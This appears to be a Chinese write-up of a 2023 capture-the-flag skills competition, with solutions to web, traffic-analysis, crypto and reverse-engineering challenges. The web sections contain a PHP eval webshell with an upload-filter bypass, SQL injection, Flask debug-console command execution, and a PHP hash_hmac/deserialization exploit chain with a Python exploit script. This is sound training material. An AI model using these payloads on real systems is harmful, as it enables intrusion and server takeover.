2023年江西省“振兴杯”网络信息行业(信息安全测试员)职业技能竞赛 Write UP

本文主要是介绍2023年江西省“振兴杯”网络信息行业(信息安全测试员)职业技能竞赛 Write UP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 一、2023csy-web1
    • 二、2023csy-web2
    • 三、2023csy-web3
    • 四、2023csy-web4
    • 五、2023csy-misc1
    • 六、2023csy-misc2
    • 七、2023csy-crypto1
    • 八、2023csy-re1

请添加图片描述


一、2023csy-web1

该题提供一个web靶场,《伟大的挑战者》,分值:5分

在这里插入图片描述
web页面一直在播放cavas 动画,显示字体内容为:TEXTArray = [“你”, “永远”, “也”, “看不见”, “我”, “站在”, “窗边”, “最难过”, “的样子”, “因为”, “你”, “知道的”, “在”, “所有”, “看不见”, “你的”, “时候”, “才是”, “最”, “难”, “过”, “的”, “我”, “爱”, “你”]; F12 查看源代码,全局搜索未发现与flag相关的逻辑代码:

在这里插入图片描述

使用 dirsearch 进行目录扫描发现存在 git 泄露

在这里插入图片描述使用 git_extract.py 工具获取git仓库内容,发现 importtant.txt 存在flag:
在这里插入图片描述


二、2023csy-web2

题目提供了一下小蔡博客网站,分值: 8分

在这里插入图片描述
发现网站的注册用户名存在xss漏洞,搞个接码平台看是否能获得管理员的cookie, 可能flag在管理员用户界面里,但是半天解码平台平台没反应,此路不通。使用 dirsearch 进行目录扫描发现 admin/login 以及 src/search.php 路径,发现搜索界面存在sql注入,使用sqlmap进行利用,获得用户名账号和密码:

在这里插入图片描述登录管理员端,存在 /admin/edit.php 路径,可进行文件上传,直接上传一句话木马php会被拦截,如下绕过:
在这里插入图片描述<script language="pHp">@eval($_POST['x'])</script>
使用蚂剑进行连接,发现flag:
在这里插入图片描述


三、2023csy-web3

题目给出 /source 存在一段 python flask 代码
在这里插入图片描述

查看源代码,我们可以看到web服务多个路径。还有一个/get_file路径:

@app.route('/get_file/<path:name>')
def get_file(name):return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)

因此,如果我们分析代码,我们会发现两件事,第一件事是应用程序日志被写入/tmp/app中的文件,这也是
**/get_file端点中使用的同一目录。

app.config['FILES_FOLDER'] = '/tmp/app'
logging.basicConfig(filename='/tmp/app/app.log', level=logging.DEBUG, format=f'%
(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')

这样我们就能够获取应用程序日志,但是我们能用它做什么呢?这就是第二个配置错误出现的地方,调试模式已
打开:

if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=True)

说明该网站Flask开启debug模式,相当于给hacker留了后门。但我们需要 PIN 码才能访问它,该 PIN 码会在应用程序启动时写入日志。因此,我们需要获取app.log文件并获取将写入其中的控制台 PIN。

要获取日志文件,我们可以使用/get_file路径 http://**/get_file/app.log。在那里我们可以找到控制台的 PIN 码。进入控制台后,我们只需要找到该标志并读取其内容即可。

在这里插入图片描述然后进入后台 http://**/console, 输入:__import__('os').popen('cat /flag').read()

在这里插入图片描述


四、2023csy-web4

题目提供如下PHP源代码,分值:10分

在这里插入图片描述
审计以上代码可以得出两个知识点:hash_hmac绕过 + 反序列化 + 匿名函数爆破。先看 hash_hmac 绕过,代码可以分离成如下:

	$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));$hmac = hash_hmac('sha256', $_GET['password'], $secret);if ($_GET['mac'] === $hmac) {show_source("/flag");}

当我们给 hash_hmac 第二个参数传递的值为数组的时候,会返回 false。这时 secret 的值我们就可以控制为 false。

在这里插入图片描述
故 payload 为:salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523
再看反序列化,代码可以分离成如下:

class Bird {public $funcs;public $salt;public $flag;function say_flag() {echo "输出flag";}function __destruct() {$self_func = $this->funcs;$self_func();}
}
unserialize($_GET['d']);

代码段中存在魔法函数 __destruct,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。要想执行 say_flag() 函数,那就要 __destruct() 函数中的 funcs 下手,序列化代码如下:

<?php
class Bird{public $funcs=['Bird','say_flag'];public $salt;public $flag;function say_flag(){echo "输出flag";}function __destruct(){$self_func=$this->funcs;$self_func();}
}
$s = new Bird();
echo serialize($d);

在这里插入图片描述

在 PHP 中,类名可以作为字符串被调用,如果类名是当前命名空间的一部分,也可以省略命名空间。这意味着 $this->funcs 中的字符串 ‘Bird’ 在这个上下文中等同于 Bird::。因此,‘Bird’, ‘say_flag’ 实际上等同于 Bird::say_flag()。

故payload为:d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}。再看匿名函数,代码可以分离成如下:

if (isset($_GET['p'])) {$funcs = create_function("", "unserialize(\$_GET['d']);");$_GET['p']();
} else {show_source(__FILE__);
}

其实我们只要执行$funcs就可以了,但是我们不知道这个函数的名称,是一个匿名函数。

create_function() 匿名函数爆破漏洞,它create之后会自动生成一个函数名为 %00lambda_%d。%d这个值是一直递增的,这里的%d会一直递增到最大长度直到结束,这里可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1。

把上述payload组合到一起,编写 exp 如下:

import requestsurl='http://localhost/zxb-csy-web4.php?salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523&d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}&p=%00lambda_1'while True:r = requests.get(url).textif 'Call to undefined function' not in r:print(r)break

最终解得flag如下:

在这里插入图片描述


五、2023csy-misc1

hacker盗取了敏感信息,分析hacker流量,找到敏感信息。提供 data.pcapng 流量包。分值:5分

查看流量包主要有 TCP、UDP、HTTP 协议,hacker盗取敏感信息大概率是 HTTP 或者 TCP。UDP 几乎没见过,先排除。优先分析 HTTP 流量,如下查看 HTTP 请求序列:

在这里插入图片描述
在这里插入图片描述
看到可疑请求路径 /hack.php, 输入过滤命令:http contains "hack.php"

在这里插入图片描述
http流跟踪发现 f14444444g.php :

在这里插入图片描述
筛选含有 f14444444g.php 的流量包, http contains "f14444444g.php"

在这里插入图片描述
依次查看发现可疑字符串,Base64 解码得到flag:

在这里插入图片描述


六、2023csy-misc2

提供一个流量包 pack.pcapng,找出 flag, 题目未提供提示。分值:8分

wireshark 打开发现很多 dns 协议数据包,而且存在 Base 字眼:

在这里插入图片描述直接使用kali 里面 tshark 命令筛选分离:tshark -r pack.pcapng -Y "dns" -T fields -e dns.qry.name | grep base > dns.txt

在这里插入图片描述
拿去 vscode 快速去重处理得:

在这里插入图片描述
base64 解密得flag:
在这里插入图片描述


七、2023csy-crypto1

根据题目得知为移位的异或, 编写python脚本:

enc = open('flag.enc', 'rb').read()
enc = list(enc)
print(enc)key = 'zxb'
flag = [0] * len(enc)
print(len(flag))
flag[-1] = ord('}')
for i in range(len(flag)-2, -1, -1):flag[i] = flag[i+1] ^ enc[i] ^ ord(key[i%3])
print(bytes(flag))

在这里插入图片描述


八、2023csy-re1

提供一个 fake.exe 文件,逆向分析获得flag。分值:8分

先查看 PE:
在这里插入图片描述
64位程序,使用 ida64 打开,f5 查看伪代码:

在这里插入图片描述
这段代码是一个简单的文件读取和处理程序,它从文件 “flag.txt” 读取 0x13(19)字节的数据,然后进行异或操作,并检查结果是否与某个预定义的字符串 Str2 相匹配。要反推出 “flag.txt” 的内容,在这里,*(&Str1 + i) = i ^ *((_BYTE *)Buffer + i); 表示将文件中每个字节与索引进行异或运算,并将结果存储在 Str1 中。要得到 flag.txt 的内容,您可以创建一个相反的异或操作,将 Str1 中的每个字节与相应的索引再次进行异或。在 ida 里面找到 str2 为:S[]1475XRQUHY]QIQZW

在这里插入图片描述编写脚本:

# 已知的str2值
str2 = "S[]1475XRQUHY]QIQZW"# 解码函数,根据异或的性质:如果 a ^ b = c 那么 a ^ c = b 以及 b ^ c = a
def decode(encoded_str):# 将str2转化为byte array方便进行异或操作encoded_bytes = bytearray(encoded_str, 'utf-8')# 初始化str1str1 = bytearray(len(encoded_bytes))# 按照C程序中的流程反向执行异或操作for i in range(len(encoded_bytes)):# 因为之前是i和字符异或,所以逆运算也是i和字符异或str1[i] = i ^ encoded_bytes[i]# 转换回字符串形式return str1.decode('utf-8')# 使用定义好的decode函数解码str2
decoded_str1 = decode(str2)
print(f"Decoded str1: {decoded_str1}")

得到 flag 为:
在这里插入图片描述但是提交发现一直错误,难道这是陷阱? 查看函数列表发现 TLS 回调函数

代码逆向分析领域中,TLS(Thread Local Storage,线程局部存储)回调函数(Callback Function)常用反调试。TLS回调函数的调用运行要先于EP代码的执行,该特征使它可以作为一种反调试技术的使用。

在这里插入图片描述

查看 TlsCallback_0 函数:

在这里插入图片描述从代码能看出一直在跟 loc_140003000 函数做处理,怀疑是 SMC 自解密技术。

1、SMC,即Self Modifying Code,动态代码加密技术,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代码进行解密,达到程序正常运行的效果。
2、SMC的实现方式有很多种,可以通过修改PE文件的Section Header、使用API Hook实现代码加密和解密、使用VMProtect等第三方加密工具等。
3、SMC一般有俩种破解方法,第一种是找到对代码或数据加密的函数后通过idapython写解密脚本。第二种是动态调试到SMC解密结束的地方dump出来。
在这里插入图片描述

在 return result 打断点,进行动态调试:

在这里插入图片描述卡在 52行,smc 自解密已经完成,直接进入 loc_140003000 函数,U、C、P, F5 一把梭查看到真实代码:

在这里插入图片描述编写 python 脚本如下:

def reverse_function(a1, a2):return ~a2 & ~a1v25 = [-83, -91, -93, -49, -52, -55, -53, -88, -82, -81, -85, -72, -89, -93, -81, -88, -89, -95, -51]
v12 = [0] * 32
arr = [0] * 19for i in range(19):for j in range(200):v16 = reverse_function(j, i)v17 = reverse_function(i, i)v1 = jv18 = v1v2 = reverse_function(v1, v1)v3 = reverse_function(v2, v17)v19 = reverse_function(v3, v16) - 1v20 = reverse_function(j, i)v21 = reverse_function(i, i)v4 = jv22 = v4v5 = reverse_function(v4, v4)v6 = reverse_function(v5, v21)v7 = reverse_function(v6, v20)v12[i] = reverse_function((v7 - 1), v19)if v12[i] == v25[i]:arr[i] = j# Convert arr to string and print
result_str = ''.join(chr(x) for x in arr)
print(result_str)

在这里插入图片描述最终flag{SZ_2023_ZX_CUP_WIN!} 为正确答案。


这篇关于2023年江西省“振兴杯”网络信息行业(信息安全测试员)职业技能竞赛 Write UP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/474261

相关文章

SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程

《SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程》本文详细介绍了如何在虚拟机和宝塔面板中安装RabbitMQ,并使用Java代码实现消息的发送和接收,通过异步通讯,可以优化... 目录一、RabbitMQ安装二、启动RabbitMQ三、javascript编写Java代码1、引入

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

Python如何实现PDF隐私信息检测

《Python如何实现PDF隐私信息检测》随着越来越多的个人信息以电子形式存储和传输,确保这些信息的安全至关重要,本文将介绍如何使用Python检测PDF文件中的隐私信息,需要的可以参考下... 目录项目背景技术栈代码解析功能说明运行结php果在当今,数据隐私保护变得尤为重要。随着越来越多的个人信息以电子形

如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解

《如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解》:本文主要介绍如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别的相关资料,描述了如何使用海康威视设备网络SD... 目录前言开发流程问题和解决方案dll库加载不到的问题老旧版本sdk不兼容的问题关键实现流程总结前言作为

C#实现系统信息监控与获取功能

《C#实现系统信息监控与获取功能》在C#开发的众多应用场景中,获取系统信息以及监控用户操作有着广泛的用途,比如在系统性能优化工具中,需要实时读取CPU、GPU资源信息,本文将详细介绍如何使用C#来实现... 目录前言一、C# 监控键盘1. 原理与实现思路2. 代码实现二、读取 CPU、GPU 资源信息1.

在C#中获取端口号与系统信息的高效实践

《在C#中获取端口号与系统信息的高效实践》在现代软件开发中,尤其是系统管理、运维、监控和性能优化等场景中,了解计算机硬件和网络的状态至关重要,C#作为一种广泛应用的编程语言,提供了丰富的API来帮助开... 目录引言1. 获取端口号信息1.1 获取活动的 TCP 和 UDP 连接说明:应用场景:2. 获取硬

SpringBoot使用Apache Tika检测敏感信息

《SpringBoot使用ApacheTika检测敏感信息》ApacheTika是一个功能强大的内容分析工具,它能够从多种文件格式中提取文本、元数据以及其他结构化信息,下面我们来看看如何使用Ap... 目录Tika 主要特性1. 多格式支持2. 自动文件类型检测3. 文本和元数据提取4. 支持 OCR(光学

C#实现获取电脑中的端口号和硬件信息

《C#实现获取电脑中的端口号和硬件信息》这篇文章主要为大家详细介绍了C#实现获取电脑中的端口号和硬件信息的相关方法,文中的示例代码讲解详细,有需要的小伙伴可以参考一下... 我们经常在使用一个串口软件的时候,发现软件中的端口号并不是普通的COM1,而是带有硬件信息的。那么如果我们使用C#编写软件时候,如

通过C#获取PDF中指定文本或所有文本的字体信息

《通过C#获取PDF中指定文本或所有文本的字体信息》在设计和出版行业中,字体的选择和使用对最终作品的质量有着重要影响,然而,有时我们可能会遇到包含未知字体的PDF文件,这使得我们无法准确地复制或修改文... 目录引言C# 获取PDF中指定文本的字体信息C# 获取PDF文档中用到的所有字体信息引言在设计和出

SSID究竟是什么? WiFi网络名称及工作方式解析

《SSID究竟是什么?WiFi网络名称及工作方式解析》SID可以看作是无线网络的名称,类似于有线网络中的网络名称或者路由器的名称,在无线网络中,设备通过SSID来识别和连接到特定的无线网络... 当提到 Wi-Fi 网络时,就避不开「SSID」这个术语。简单来说,SSID 就是 Wi-Fi 网络的名称。比如